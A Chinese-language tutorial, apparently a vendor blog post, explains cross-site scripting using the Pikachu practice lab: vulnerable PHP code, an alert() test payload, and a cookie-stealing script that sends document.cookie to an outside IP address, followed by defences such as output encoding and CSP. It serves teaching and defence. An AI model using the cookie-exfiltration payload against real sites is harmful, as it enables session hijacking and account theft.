跨站点脚本 (XSS) 攻击通过向网站注入恶意 JavaScript 代码来攻击用户的浏览器。有几种不同的漏洞可用于向网站添加恶意 JavaScript 代码。成功的 XSS 攻击将使攻击者能够访问用户的浏览器以及被黑网站上的用户会话信息。
跨站点脚本 (XSS) 攻击利用了未能正确过滤用户输入的 Web 应用程序中的漏洞。这些漏洞允许攻击者将恶意 JavaScript 代码注入其他用户查看的网页。注入的脚本可以在用户会话的上下文中执行,使攻击者能够访问敏感信息,例如会话令牌、cookie 和个人数据。这可能导致未经授权访问用户的帐户和私人信息。
XSS 攻击有多种类型:
XSS 漏洞一直被评为最严重的 Web 漏洞之一,在 OWASP Top 10。如上文所述,XSS 是一种发生在前端的漏洞,具体发生在浏览器内部,因此受影响的目标也是前端用户。XSS 漏洞产生的首要原因是应用程序对输入输出的处理不当,导致“特制”的字符被浏览器解释为有效代码并执行,从而造成危害。
Pikachu 目标机器的跨站点脚本模块使我们能够提供一个示例漏洞。
在目标机器的输入框中输入“kobe”,就会返回一张篮球运动员科比布莱恩特的照片和一句励志语录:“愿你永远年轻,永远热情,就像科比一样!”
分析后端PHP代码我们可以看到,代码对励志语录中的message参数直接返回用户输入的内容,没有进行任何处理,从而造成了XSS漏洞。
if(isset($_GET['submit'])){
if(empty($_GET['message'])){
$html.="<p class='notice'>Try entering 'kobe' -_-</p>";
}else{
if($_GET['message']=='kobe'){
$html.="<p class='notice'>愿你永远像{$_GET['message']}一样年轻、热情!</p><img src='{$PIKA_ROOT_DIR}assets/images/nbaplayer/kobe.png' />";
}else{
$html.="<p class='notice'>{$_GET['message']} 是谁,我不在乎!</p>"; //代码直接返回用户对于励志名言中的 message 参数的输入,没有进行任何处理。
}
}
}
在输入框中输入XSS payload语句-kobe <script>alert(/Iverson best/)</script>
,揭示了输入框对于输入长度有限制。
前面提到了,XSS 是发生在前端的漏洞,具体发生在浏览器内部,因此受影响的对象也是前端用户。我们把这个长度限制修改如下:
再次输入 kobe <script>alert(/Iverson best/)</script>
会导致弹出窗口。
问题出现的原因在于后端代码没有处理好用户的输入,直接返回给客户端,导致我们输入的弹窗JavaScript代码也被直接返回,导致浏览器执行代码,显示弹窗。
当攻击者发现网站上存在XSS漏洞时,他们可以利用它来窃取用户Cookie,进行钓鱼攻击等。例如,他们可以在输入框中输入以下攻击代码:
<script>document.location = 'http://47.96.96.34/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>
一旦浏览器执行此JS代码,就会将cookies发送到攻击者的远程服务器47.96.96.34。
为了防御 XSS 攻击,Web 开发人员必须确保正确的输入验证和输出编码。这包括通过过滤或转义可能被解释为代码的字符来净化用户输入。使用内容安全策略 (CSP) 标头也可以帮助防止 XSS,因为它允许网站指定哪些来源是可信的,从而阻止执行来自未经授权来源的脚本。定期更新和修补 Web 应用程序对于防御攻击者可能利用的新漏洞至关重要。此外,教育用户了解点击未知链接的危险并确保他们的浏览器是最新的,也可以降低成为 XSS 攻击受害者的风险。
探索更多 CDNetworks 的 WAF 以防止 XSS 攻击。